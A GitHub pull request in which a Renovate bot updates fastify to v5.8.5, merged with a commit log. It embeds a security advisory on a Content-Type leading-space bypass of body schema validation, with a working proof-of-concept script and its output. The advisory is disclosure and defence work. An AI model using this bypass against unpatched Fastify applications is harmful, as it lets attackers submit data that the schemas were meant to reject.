Skip to content

Update dependency fastify to v5.8.5 [SECURITY]#16346

Merged
ematipico merged 1 commit into
mainfrom
renovate/npm-fastify-vulnerability
May 1, 2026
Merged

Update dependency fastify to v5.8.5 [SECURITY]#16346
ematipico merged 1 commit into
mainfrom
renovate/npm-fastify-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Apr 15, 2026

This PR contains the following updates:

Package Change Age Confidence
fastify (source) 5.8.35.8.5 age confidence

Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header

CVE-2026-33806 / GHSA-247c-9743-5963

More information

Details

Summary

A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.
This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details

The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently.
Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:

const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → ['']  (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely.
Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC
const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED — normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS — single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Output:

Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}
Impact

Any Fastify application that relies on schema.body.content (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header.
This vulnerability is distinct from all previously patched content-type bypasses:

CVE Vector Patched in 5.8.4?
CVE-2025-32442 Casing / semicolon whitespace ✅ Yes
CVE-2026-25223 Tab character (\t) ✅ Yes
CVE-2026-3419 Trailing garbage after subtype ✅ Yes
This finding Leading space (\x20) ❌ No

Recommended fix — add trimStart() before the split in getEssenceMediaType:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

fastify/fastify (fastify)

v5.8.5

Compare Source

⚠️ Security Release

This fixes CVE CVE-2026-33806 GHSA-247c-9743-5963.

What's Changed
New Contributors

Full Changelog: fastify/fastify@v5.8.4...v5.8.5

v5.8.4

Compare Source

Full Changelog: fastify/fastify@v5.8.3...v5.8.4


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Apr 15, 2026
@changeset-bot
Copy link
Copy Markdown

changeset-bot Bot commented Apr 15, 2026

⚠️ No Changeset found

Latest commit: 1a39a14

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate renovate Bot changed the title Update dependency fastify to v5.8.5 [SECURITY] chore(deps): update dependency fastify to v5.8.5 [security] Apr 16, 2026
@renovate renovate Bot changed the title chore(deps): update dependency fastify to v5.8.5 [security] chore(deps): update dependency fastify to v5.8.5 [security] - autoclosed Apr 23, 2026
@renovate renovate Bot closed this Apr 23, 2026
@renovate renovate Bot deleted the renovate/npm-fastify-vulnerability branch April 23, 2026 16:47
@renovate renovate Bot changed the title chore(deps): update dependency fastify to v5.8.5 [security] - autoclosed chore(deps): update dependency fastify to v5.8.5 [security] Apr 23, 2026
@renovate renovate Bot reopened this Apr 23, 2026
@renovate renovate Bot force-pushed the renovate/npm-fastify-vulnerability branch 2 times, most recently from 6585bb3 to 0aa09a6 Compare April 23, 2026 16:52
@renovate renovate Bot changed the title chore(deps): update dependency fastify to v5.8.5 [security] Update dependency fastify to v5.8.5 [SECURITY] Apr 24, 2026
@renovate renovate Bot changed the title Update dependency fastify to v5.8.5 [SECURITY] Update dependency fastify to v5.8.5 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Update dependency fastify to v5.8.5 [SECURITY] - autoclosed Update dependency fastify to v5.8.5 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-fastify-vulnerability branch 2 times, most recently from 0aa09a6 to a5845e0 Compare April 27, 2026 15:09
@renovate renovate Bot changed the title Update dependency fastify to v5.8.5 [SECURITY] Update dependency fastify to v5.8.5 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Update dependency fastify to v5.8.5 [SECURITY] - autoclosed Update dependency fastify to v5.8.5 [SECURITY] Apr 28, 2026
@renovate renovate Bot reopened this Apr 28, 2026
@renovate renovate Bot force-pushed the renovate/npm-fastify-vulnerability branch 3 times, most recently from 1827894 to ead29c2 Compare April 29, 2026 10:23
@renovate renovate Bot changed the title Update dependency fastify to v5.8.5 [SECURITY] chore(deps): update dependency fastify to v5.8.5 [security] Apr 29, 2026
@renovate renovate Bot changed the title chore(deps): update dependency fastify to v5.8.5 [security] Update dependency fastify to v5.8.5 [SECURITY] Apr 29, 2026
@renovate renovate Bot changed the title Update dependency fastify to v5.8.5 [SECURITY] chore(deps): update dependency fastify to v5.8.5 [security] Apr 29, 2026
@renovate renovate Bot force-pushed the renovate/npm-fastify-vulnerability branch from ead29c2 to e336a56 Compare April 29, 2026 12:05
@renovate renovate Bot changed the title chore(deps): update dependency fastify to v5.8.5 [security] Update dependency fastify to v5.8.5 [SECURITY] Apr 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-fastify-vulnerability branch from e336a56 to 1a39a14 Compare May 1, 2026 10:40
@ematipico ematipico merged commit 48baf7f into main May 1, 2026
23 checks passed
matthewp added a commit that referenced this pull request May 5, 2026
* Fix merge-fix workflow to handle conflict markers before install (#16539)

* Handle merge conflicts in merge-fix workflow by stripping JSON/YAML markers and verifying via AI (#16541)

* [ci] format

* fix(render): avoid script dedup state consumption in inert template c… (#16527)

* fix(render): avoid script dedup state consumption in inert template contexts #16525

* fix(render): normalize inert script dedup test outputs to strings

* fix: add missing hydration metadata fields in inert-script-dedup tests

* test(app): add component-level inert template script dedup coverage

* test(app): stabilize inert script dedup regression coverage

* fix(astro): move inert template dedup logic into hydration/directive script guards

* [ci] format

* fix: emit fallback rewrite pages (#16515)

* fix(i18n): emit fallback rewrite pages

* chore: add changeset

* [ci] format

* refactor(astro): replace tsconfck with get-tsconfig (#16433)

* fix(language-server): remove circular dependency on svelte/vue integrations (#16532)

* [ci] format

* fix(upgrade): use bundled JS output (#16547)

* Update dependency postcss to v8.5.10 [SECURITY] (#16489)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* Update dependency fastify to v5.8.5 [SECURITY] (#16346)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* Update dependency fast-xml-parser to v5.7.0 [SECURITY] (#16452)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* fix(cloudflare): preserve existing KV namespace bindings when injecting SESSION (#16555)

* fix(slots): unwrap conditional slot callbacks (#16509)

Co-authored-by: cyphercodes <cyphercodes@users.noreply.github.com>

* fix: preserve CSS propagation for partial pages imported as components (#16415)

* fix(astro): preserve CSS from imported partial pages

Treat top-level pages as CSS boundaries only when they are referenced exclusively by the virtual page module, so partial pages imported as components continue propagating transitive styles in production builds.

Made-with: Cursor

* test(astro): fix partial CSS fixture component import path

Correct the regression fixture path so the partial page can resolve ResultsTable during build on CI.

Made-with: Cursor

* test(astro): make partial css assertion robust to minification

Assert that scoped ResultsTable selectors are present in extracted styles instead of matching a specific color token that can be minified differently across environments.

Made-with: Cursor

* chore: rerun CI after unrelated e2e flake

Trigger a fresh workflow run for PR #16415 after unrelated flaky E2E failures in actions-blog/cloudflare/hmr tests.

Made-with: Cursor

* fix: propagate head metadata across ssr and prerender envs in dev (#16292)

* fix: propagate head metadata across ssr and prerender envs in dev

Signed-off-by: Patrick Linnane <patrick@linnane.io>

* test(astro): cover head propagation through prerender env

Signed-off-by: Patrick Linnane <patrick@linnane.io>

---------

Signed-off-by: Patrick Linnane <patrick@linnane.io>

* fix(assets): pass through images Sharp cannot decode instead of crashing (#16451)

* fix(assets): pass through images Sharp cannot decode instead of crashing

* test(assets): add test for animated AVIF pass-through

* test(assets): add test for animated AVIF pass-through

* fix(test): remove incorrect avif extension assertion

* chore: add changeset for animated AVIF fix

* feat(assets): add warning when Sharp cannot optimize unsupported image formats

* chore: lint and whitespace

* [ci] format

* Update dependency @fastify/middie to v9.3.2 [SECURITY] (#16369)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* perf(astro): skip session storage lookup if no cookie is set (#16540)

* Fix defineLiveCollection interface loader typing (#16018)

* Fix defineLiveCollection interface loader typing

* Retrigger CI

* Retrigger CI

* [ci] format

* Fix style compilation failure when importing components via tsconfig path aliases (#15994)

* fix: resolve relative virtual module IDs in normalizeFilename for path alias styles

When a component with a <style> tag is imported via a TypeScript path
alias, certain environments (Windows + newer Node.js) can produce a
relative virtual module ID (e.g. ./src/components/Foo.astro?astro&type=style).
The load handler passed this through normalizeFilename to look up the
compile metadata cache, but the function had no branch for ./-prefixed
relative paths, so it returned the path unchanged instead of resolving
it to an absolute path. This caused a cache miss and a build error.

Adds a branch to resolve relative paths against root, matching the
behavior used for /@fs and /path variants.

Fixes #15963

* test: assert against emitted CSS file for path alias style regression test

* fix(cloudflare): fix static assets and prerendered pages 404ing when `base` is configured. (#16277)

* fix(cloudflare): static assets being in the wrong place

* test(cloudflare): add tests

* add changeset

---------

Co-authored-by: Matthew Phillips <matthew@matthewphillips.info>

* [ci] format

* fix(test): update test-utils import from .js to .ts in .test.js files (#16560)

* fix(frontmatter): preserve strings and comments when replacing top-le… (#16552)

* fix(frontmatter): preserve strings and comments when replacing top-level return (#16551)

* chore: add changeset for cloudflare KV namespace fix

* fix(cloudflare): re-apply KV namespace merge fix after source revert

---------

Co-authored-by: Matthew Phillips <matthewphillips@cloudflare.com>

* fix: processing procedure for dynamic paths (#16144)

* feat: test maching dynamic routes contain .html in their params

* fix: processing procedure for dynamic paths

* feat: changeset file for processing procedure for dynamic pahts

* refactor(routing): move .html stripping logic from getParams to getProps

* fix: UT of getParams function by fixing path mismatch error returning html file

* fix: logic of removing .html extention

* Apply suggestion from @Fryuni

Co-authored-by: Luiz Ferraz <luiz@lferraz.com>

* Apply suggestion from @Fryuni

Co-authored-by: Luiz Ferraz <luiz@lferraz.com>

* Apply suggestion from @Fryuni

Co-authored-by: Luiz Ferraz <luiz@lferraz.com>

---------

Co-authored-by: Matthew Phillips <matthew@matthewphillips.info>
Co-authored-by: Luiz Ferraz <luiz@lferraz.com>
Co-authored-by: Matthew Phillips <matthewphillips@cloudflare.com>

* fix(css): preserve scope on nested & with lightningcss transformer (#16548)

* fix(css): preserve scope on nested & with lightningcss transformer

with `vite.css.transformer: 'lightningcss'`, scoped styles using
`:where(& > ...)` (the shape tailwind v4's `space-x-*`, `space-y-*`,
and `divide-*` expand to) put the scope attribute on the matched
child instead of the parent. lightningcss flattened the nesting
before `@astrojs/compiler` ran scope injection, so by then
`:where(...)` was the leading compound and the injector prepended
`[data-astro-cid-X]` as a new leading compound — constraining the
wrong element.

ask lightningcss to skip nesting lowering during the per-component
`preprocessCSS` call (via `Features.Nesting` on a shallow-cloned
config — non-mutating, safe under parallel compiles). vite's final
pipeline still lowers nesting for the bundle. adds a regression test
covering the reporter's exact shape.

Fixes #16524

* docs(changeset): rewrite per astro guidelines

---------

Co-authored-by: Matthew Phillips <matthewphillips@cloudflare.com>

* Fixes @_@ not being stripped from CSS file names (#16264)

Co-authored-by: Matthew Phillips <matthew@matthewphillips.info>
Co-authored-by: Matthew Phillips <matthewphillips@cloudflare.com>

* fix : astro image position prop bug (#16236)

* feat: test of astro image position prop bug

* fix: logic of getItem function

* feat: changeset file

* fix: create data-astro-image-pos attribute all time for path csp unit test

* feat: another test of getImage function

* fix: change set explanetion more clealy for users

* Add: yaml file

* chore: clean up changeset

---------

Co-authored-by: Matthew Phillips <matthew@matthewphillips.info>
Co-authored-by: Matthew Phillips <matthewphillips@cloudflare.com>

* [ci] format

* fix(build): exclude prerendered route styles from SSR manifest (#16517)

Inline CSS for prerendered routes is dead weight in the SSR manifest:
the prerendered HTML on disk already contains the <style> tags, and
the SSR worker never renders these routes. Strip styles for prerendered
routes from the SSR manifest while leaving the prerender manifest (and
prerendered HTML) unchanged. Cuts SSR entry-chunk size on hybrid builds
with build.inlineStylesheets: "always", reducing cold-start parse cost
on Cloudflare Workers and similar platforms.

* fix(prefetch): trigger tap strategy when clicking nested child elements (#16566)

* fix(prefetch): trigger tap strategy when clicking nested child elements

* fix(prefetch): trigger tap and hover strategies when clicking nested child elements

* fix(astro): persist session delete without prior get/set (#16565)

* fix(astro): persist session delete without prior get/set

* est(e2e): sync collectLoads to avoid race with assertions

* fix(astro): persist session delete without prior get/set

* fix: route mismatch using trail slash never (#16516)

* feat: test for route match fails when trailingSlash never

* fix: root route matching with trailingSlash: 'never' and base path

* feat: changeset file

* fix: root route matching with trailingSlash 'never' and base path in dev server and rewrites

The `normalizeRewritePathname` in rewrite.ts was returning '' (empty string)
for root-path rewrites with a non-root base, and app.ts was converting the
stripped pathname '/' to '' before route matching. Both relied on the old
'^$' pattern for the index route. After the pattern.ts fix made the root
pattern '^/$', these normalizations broke matching.

Remove the '/' -> '' conversions so route.pattern.test('/') correctly matches
the fixed '^/$' pattern in both direct requests and Astro.rewrite() calls

* fix: add regression test for root path normalization with base

---------

* [ci] format

* [ci] release (#16545)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>

* fix: resolve merge conflicts from main into next

* fix: resolve merge issues from main into next

- Add missing dependencies (get-tsconfig, jsonc-parser) and remove tsconfck
  (replaced on main by PR #16433 but deps were lost during merge)
- Remove unused replaceTopLevelReturns export from vite-plugin-astro/utils.ts
  (function from main's PR #16552 not used by next's Rust compiler, fixes knip lint)
- Update lightningcss-scoped-nesting test expectations for Rust compiler
  (next branch handles CSS scoping differently, test from PR #16548)
- Format compile.ts (remove extra blank line)

* chore: trigger CI

* fix: add head-inject directive to propagated assets module for CSS injection

* chore: update main-to-next merge

* chore: retrigger CI

* chore: retrigger CI

---------

Signed-off-by: Patrick Linnane <patrick@linnane.io>
Co-authored-by: Matthew Phillips <matthewphillips@cloudflare.com>
Co-authored-by: Matthew Phillips <matthewp@users.noreply.github.com>
Co-authored-by: Chan <101856681+enjoyandlove@users.noreply.github.com>
Co-authored-by: knj <kenji.tomita1996@gmail.com>
Co-authored-by: knj <ematipico@users.noreply.github.com>
Co-authored-by: ocavue <ocavue@users.noreply.github.com>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: web-dev0521 <jasonpette1783@gmail.com>
Co-authored-by: Rayan Salhab <r.salhab@aiyexpertsolutions.com>
Co-authored-by: cyphercodes <cyphercodes@users.noreply.github.com>
Co-authored-by: 0x K. <66915025+0xbejaxer@users.noreply.github.com>
Co-authored-by: Patrick Linnane <patrick@linnane.io>
Co-authored-by: Maxim Slobodchikov <93232189+maximslo@users.noreply.github.com>
Co-authored-by: Matt Kane <m@mk.gg>
Co-authored-by: Felmon <felmonon@gmail.com>
Co-authored-by: Ossaid <imossaidquadri@gmail.com>
Co-authored-by: Calvin Liang <me@calvin.sh>
Co-authored-by: Matthew Phillips <matthew@matthewphillips.info>
Co-authored-by: fkatsuhiro <113022468+fkatsuhiro@users.noreply.github.com>
Co-authored-by: Luiz Ferraz <luiz@lferraz.com>
Co-authored-by: Utpal Sen <utpalsen902@gmail.com>
Co-authored-by: atsbob <98831687+atsbob@users.noreply.github.com>
Co-authored-by: Adam Chalemian <adam@chal.net>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant